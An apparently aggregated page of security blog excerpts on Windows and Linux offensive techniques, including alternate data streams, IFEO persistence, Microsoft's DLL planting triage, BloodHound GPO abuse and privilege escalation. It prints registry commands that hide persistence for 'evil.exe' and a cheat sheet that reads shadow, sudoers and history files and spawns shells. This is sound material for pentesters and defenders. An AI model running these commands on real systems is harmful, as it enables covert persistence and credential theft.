Putting data in Alternate data streams and how to execute it – part 2

After I wrote first post I have made some new discoveries that I wanted to share around Alternate data streams. As you probably already know if you read some of my stuff is that I am a big fan of Living off the land techniques.

The only method I knew about to inject data into a alternate data stream when I wrote the first post was the “type” command.
I have since my last blogpost discovered some other techniques as well. These techniques I have discovered can of course have been discovered by others and already been blogged about, if so please let me know and I will link to your blogpost.

Continue reading “Putting data in Alternate data streams and how to execute it – part 2”

Putting data in Alternate data streams and how to execute it

I always had a fascination about ADS (Alternate data streams) and using it as part of a persistence. My first meeting with this as a persistence technique was when Matt Nelson aka @Enigma0x3 wrote a blogpost about using it: https://enigma0x3.net/2015/03/05/using-alternate-data-streams-to-persist-on-a-compromised-machine/

Quite recently I have started to play with AppLocker bypasses to create a tool and somehow I saw a shiny thing that I just had to look at. I did a normal check on my AppLocker test system using Accesschk.exe and discovered a writable file within the Teamviewer folder.
A log file to be exact. This lead me to the discovery that you can inject data into the alternate stream of that file, execute it and it will work as an AppLocker bypass.
I posted a tweet about this here: https://twitter.com/Oddvarmoe/status/951757732557852673

(Kudos to TeamViewer for looking into the issue from their side)

Here is a screenshot of the bypass I found:

Continue reading “Putting data in Alternate data streams and how to execute it”

Persistence using GlobalFlags in Image File Execution Options – Hidden from Autoruns.exe

– Found a technique to execute any binary file after another application is closed without being detected by Autoruns.exe.
– Requires administrator rights and does not belong in userland.
– Can also be executed from alternate data streams
– Plant file on disk and run these commands to create persistence that triggers everytime someone closes notepad.exe:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"

Continue reading “Persistence using GlobalFlags in Image File Execution Options – Hidden from Autoruns.exe”

Triaging a DLL planting vulnerability

DLL planting (aka binary planting/hijacking/preloading) resurface every now and then, it is not always clear on how Microsoft will respond to the report. This blog post will try to clarify the parameters considered while triaging DLL planting issues.

It is well known that when an application loads a DLL without specifying a fully qualified path, Windows attempts to locate the DLL by searching a well-defined set of directories in an order known as DLL search order. The search order used in the default SafeDllSearchMode is as below:

  1. The directory from which the application loaded.
  2. The system directory. Use the GetSystemDirectory function to get the path of this directory.
  3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
  4. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory. function to get the path of this directory.
  5. The current directory.
  6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

The default DLL search order can be changed with various options as noted in one of our previous blogpost “Load Library Safely”.

A DLL loading in an application becomes a DLL planting vulnerability if an attacker can plant the malicious DLL in any of the directories searched per the search order, and the planted DLL is not found in the prior directories searched that attacker has no access to it. For example, an application loading foo.dll that is not present in either application directory or system directory or windows directory can provide an opportunity for an attacker to plant foo.dll if he has access to the current working directory. DLL planting vulnerabilities are very convenient and is less work for an attacker, it gives very easy code execution since the DllMain() gets called immediately on loading the DLL. Attackers don’t have to worry about bypassing any mitigation if the application allows loading non-signed binaries.

Based on where the malicious DLL can be planted in the DLL search order the vulnerability broadly falls into one of the three categories:

  1. Application Directory (App Dir) DLL planting.
  2. Current Working Directory (CWD) DLL planting.
  3. PATH Directories DLL planting.

The above categories are what guides our response. Let’s look at these categories to see how we triage each of them.

Application Directory (App Dir) DLL planting

Application directory is where an application keeps its dependent non-system DLLs and trusts them to be intact. Files located in a program’s installation directory are presumed to be benevolent, trustworthy and a directory ACL security control is typically used to safeguard them. Anyone able to replace a binary in the installation directory, presumably has the privileges necessary to write/overwrite files. The application directory is considered a code directory, where code related artifacts for the application should be stored. If an attacker can achieve DLL overwrite within the application directory without being on the directory ACL, it’s a much bigger issue than replacing/planting a single DLL.

Let’s look at some of the scenario involved with application directory DLL planting:

Scenario 1: Malicious binary planting in a trusted application directory.

Applications installed properly generally safeguard the application directory with ACLs, elevated access (typically admin) is required to modify the content of the application directory in this scenario. For example, Microsoft Word’s installation location is “C:\Program Files (x86)\Microsoft Office\root\Office16\”. An admin access is required to modify anything in this directory. A victim, who has admin rights, can be tricked/socially engineered to plant DLLs in a trusted location but if such is the case, they can be tricked/social engineered to do worse things.

Scenario 2: Malicious binary planted in an untrusted application directory.

Application installed via XCOPY without installer being used, available on a share, downloaded from internet, standalone executable in a non ACLed directory are some of the scenarios that falls under untrusted category. For example, an installer (including redistributable, setup.exe generated by ClickOnce, and self-extracting archives generated by IExpress) downloaded from internet and running from default “Downloads” folder. Launching an application from an untrustworthy location is dangerous, a victim can be easily tricked/fooled to plant DLLs into these untrusted locations.


A DLL planting issue that falls into this category, Application Directory DLL planting, is treated as Defense-in-Depth issue that will be considered for updates in future versions only. We resolve any MSRC case that fall in this category as vNext consideration, mainly due to the amount of social engineering involved in the attack and the by design nature of the bug. A victim would have to be tricked into placing the malicious DLL (malware) where it can be triggered AND perform a non-recommended action (like running an installer in the same directory as the malware). A non-installed application has no reference point for “known good directory/binaries”, unless it creates the directory itself. Ideally, the installer should create a temporary directory with a randomized name (to prevent further DLL planting), extract its binaries to it and use them to install the application. While an attacker can make use of a drive-by download to place the malware on the victim’s system, such as into the “Downloads” folder, the essence of the attack is social engineering.

In Windows 10 Creators Update we added a new process mitigation that can be used to mitigate the Application Directory DLL planting vulnerabilities. This new process mitigation, PreferSystem32, when opted in toggles the order of application directory and system32 in the DLL search order. Because of this any malicious system binary can’t be hijacked by planting it in the application directory. This can be enabled for the scenarios where the process creation can be controlled.

Current Working Directory (CWD) DLL planting

Applications typically set the directory from where they are invoked as the CWD, this applies even when the application is invoked based on the default file association. For example, clicking a file from the share “D:\temp\file.abc”’ will make “D:\temp” as the CWD for the application associated with the file type .abc.

The scenario of hosting files in a remote share, especially a webdav share, makes CWD DLL planting issues more vulnerable. This way an attacker can host the malicious DLL along with the file and social engineer the victim to open/click the file to get the malicious DLL loaded into the target application.

Scenario 3: Malicious binary planted in the CWD.

Application loading a DLL not present in any of the first three trusted location will look for the same in the untrusted CWD. Victim opening a .doc file from the location \\server1\share2\ will launch Microsoft Word, if the Microsoft Word can’t find one of its dependent DLL oart.dll in the trusted location it will try to load it from the CWD \\server1\share2\. Since the share is an untrusted location attacker can easily plant oart.dll to feed into the application.

Trigger => \\server1\share2\openme.doc
Application  => C:\Program Files (x86)\Microsoft Office\root\Office16\Winword.exe
App Dir=> C:\Program Files (x86)\Microsoft Office\root\Office16\
CWD => \\server1\share2\
Malicious DLL  => \\server1\share2\OART.DLL
A DLL planting issue that falls into this category of CWD DLL planting is treated as an Important severity issue and we will issue a security patch for this. Most of the DLL planting issue that we have fixed in the past falls into this category, the advisory 2269637 lists a subset of them. This brings to a question why any Microsoft applications would load DLLs that are not present in its application directory or System directory or Windows directory. It so happens that there are various optional components, different OS editions and multiple architectures that come with different set of binaries that sometimes applications fail to consider or verify effectively before loading the DLLs.

PATH Directories DLL planting

The last resort to find the DLLs in the DLL search order is the PATH directories, which is a set of directories that has been added by various applications to facilitate user experience in locating the application and its artifacts.

The directories that are in the PATH environment variable are always admin ACLed and a normal user can’t modify contents of these directories. If we have a world writable directory exposed via PATH, then it is a bigger issue than just the single instance of DLL planting and we deal with that as an important severity issue. But just the DLL planting issue is considered as a low security issue since we don’t expect to cross any security boundary with this planting vulnerability. Thus, DLL planting issues that fall into the category of PATH directories DLL planting are treated as won’t fix. 


We hope this clears up questions on how we triage a reported DLL planting issue and what situations we consider to be severe enough to issue a security patch. Below is a quick guide to what we fix/won’t fix via a security release (down level).

What Microsoft will address with a security fix

CWD scenarios – Like an associated application loading a DLL from the untrusted CWD.

What Microsoft will consider addressing the next time a product is released

Application directory scenarios – This is at complete discern of product group based on whether it is an explicit load or implicit load. Explicit load can be tweaked but the implicit loads (dependent DLLs) are strictly by-design as the path can’t be controlled.

What Microsoft won’t address (not a vulnerability)

PATH directory scenarios – Since there can’t be a non-admin directory in the PATH this can’t be exploited.

original article

Hunting down Dofoil with Windows Defender ATP

Dofoil is a sophisticated threat that attempted to install coin miner malware on hundreds of thousands of computers in March, 2018. In previous blog posts we detailed how behavior monitoring and machine learning in Windows Defender AV protected customers from a massive Dofoil outbreak that we traced back to a software update poisoning campaign several weeks prior. Notably, customers of Windows 10 S, a special Windows 10 configuration that provides streamlined Microsoft-verified security, were not affected by the Dofoil outbreak.

In this blog post, we will expound on Dofoil’s anti-debugging and anti-analysis tactics, and demonstrate how the rich detection libraries of Windows Defender Advanced Threat Protection and Windows Defender Exploit Guard can help during investigation.

Continue reading “Hunting down Dofoil with Windows Defender ATP”

A Red Teamer’s Guide to GPOs and OUs

Active Directory is a vast, complicated landscape comprised of users, computers, and groups, and the complex, intertwining permissions and privileges that connect them. The initial release of BloodHound focused on the concept of derivative local admin, then BloodHound 1.3 introduced ACL-based attack paths. Now, with the release of BloodHound 1.5, pentesters and red-teamers can easily find attack paths that include abusing control of Group Policy, and the objects that those Group Policies effectively apply to.

In this blog post, I’ll recap how GPO (Group Policy Object) enforcement works, how to use BloodHound to find GPO-control based attack paths, and explain a few ways to execute those attacks.

  • The Moving Parts of Group Policy
  • GPO Enforcement Logic
  • Analysis with BloodHound
  • Abusing GPO Control

continue reading the original article at specterops.io

Linux Priviledge Escalation

Information Gathering

+ Get OS information

cat /etc/issue
cat /etc/*-release
cat /proc/version
uname -a
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
lsb_release -a

+ Check sudoers

sudo -l 
cat /etc/sudoers

+ Check password files
Check for misconfigurations – i.e Is shadow readable? Is passwd writeable?

cat /etc/passwd
cat /etc/shadow
ls -l /etc/passwd
ls -l /etc/shadow

+ Learn your environment
Search for misconfigured PATH variables. Do they prioritize searching for executable files from a non-secure (i.e. world-writeable) path?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
cat ~/.bash_history

+ Check history files
You might find plaintext passwords in there

cat ~/.*_history

+ Check cronjobs
Search for jobs using programs that run with root privileges and are potentially write-accessible by low-privileged users

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

+ Check processes running as root for vulnerabilities

ps aux | grep root
ps -ef | grep root

+ Search files for plaintext credentials

grep -ir user *
grep -ir pass *

+ Find writable configuration files

find /etc/ -writable -type f 2>/dev/null

+ Run privesc scripts

LinEnum - https://www.rebootuser.com/?p=1758
linuxprivchecker.py - http://www.securitysift.com/download/linuxprivchecker.py
unix-privesc-check - https://github.com/pentestmonkey/unix-privesc-check

Escaping jail shells

python -c 'import pty;pty.spawn("/bin/bash")' 
echo os.system('/bin/bash')
/bin/sh -i

Windows Privilege Escalation Fundamentals

Not many people talk about serious Windows privilege escalation which is a shame. I think the reasons for this are probably during pentesting engagements a low-priv shell is often all the proof you need for the customer, in staged environments you often pop the Administrator account, meterpreter makes you lazy (getsystem = lazy-fu), build reviews to often end up being –> authenticated nessus scan, microsoft security baseline analyser…

Contrary to common perception Windows boxes can be really well locked down if they are configured with care. On top of that the patch time window of opportunity is small. So lets dig into the dark corners of the Windows OS and see if we can get SYSTEM.

It should be noted that I’ll be using various versions of Windows to highlight any commandline differences that may exist. Keep this in mind as various OS/SP differences may exist in terms of commands not existing or generating slightly different output. I have tried to structure this tutorial so it will apply in the most general way to Windows privilege escalation.

Finally I want to give a shout out to my friend Kostas who also really loves post-exploitation, you really don’t want him to be logged into your machine hehe.

  • Δt for t0 to t3 – Initial Information Gathering
  • Δt for t4 – The Arcane Arts Of WMIC
  • Δt for t5 to t6 – Quick Fails
  • Δt for t7 to t10 – Roll Up Your Sleeves

continue reading at fuzzysecurity.com

DiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extraction


Not long ago, I blogged about Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction.  This tool was quite interesting because it was yet another utility to perform volume shadow copy operations, and it had a few other features that could potentially support other offensive use cases.  In fairness, evasion and persistence are probably not the strong suits of Vshadow.exe, but some of those use cases may have more relevance in its replacement – DiskShadow.exe.

In this post, we will discuss DiskShadow, present relevant features and capabilities for offensive opportunities, and highlight IOCs for defensive considerations.

*Don’t mind the ridiculous title – it just seemed thematic

What is DiskShadow?

“DiskShadow.exe is a tool that exposes the functionality offered by the Volume Shadow Copy Service (VSS).  By default, DiskShadow uses an interactive command interpreter similar to that of DiskRaid or DiskPart.  DiskShadow also includes a scriptable mode.

Microsoft Docs

DiskShadow is included in Windows Server 2008, Windows Server 2012, and Windows Server 2016 and is a Windows signed binary.

continue reading the original article at bohops.com

Web Application Penetration Testing Cheat Sheet

This cheatsheet is intended to run down the typical steps performed when conducting a web application penetration test. I will break these steps down into sub-tasks and describe the tools I recommend using at each level.

Many of the ideas presented in this sheet come from the fantastic teachings of Tim “lanmaster53” Tomes, who has kindly allowed me to share them with you here. If you or anyone you know is interested in web application penetration testing Training I highly recommend that you or your company consider Tim.

Please bear in mind that these steps are iterative so in a typical engagement you can expect to do them multiple times. This is particularly true if you manage to traverse different levels of access in an application (e.g. elevate from a regular user to an admin).

Finally, throughout this sheet I will heavily discuss tools included in PortSwigger’s Burp Suite Professional which is a paid product intended for professional use. I apologize if this dissuades you, but at the price they offer the tool for I consider it a bargain.

continue reading the original article at jdow.io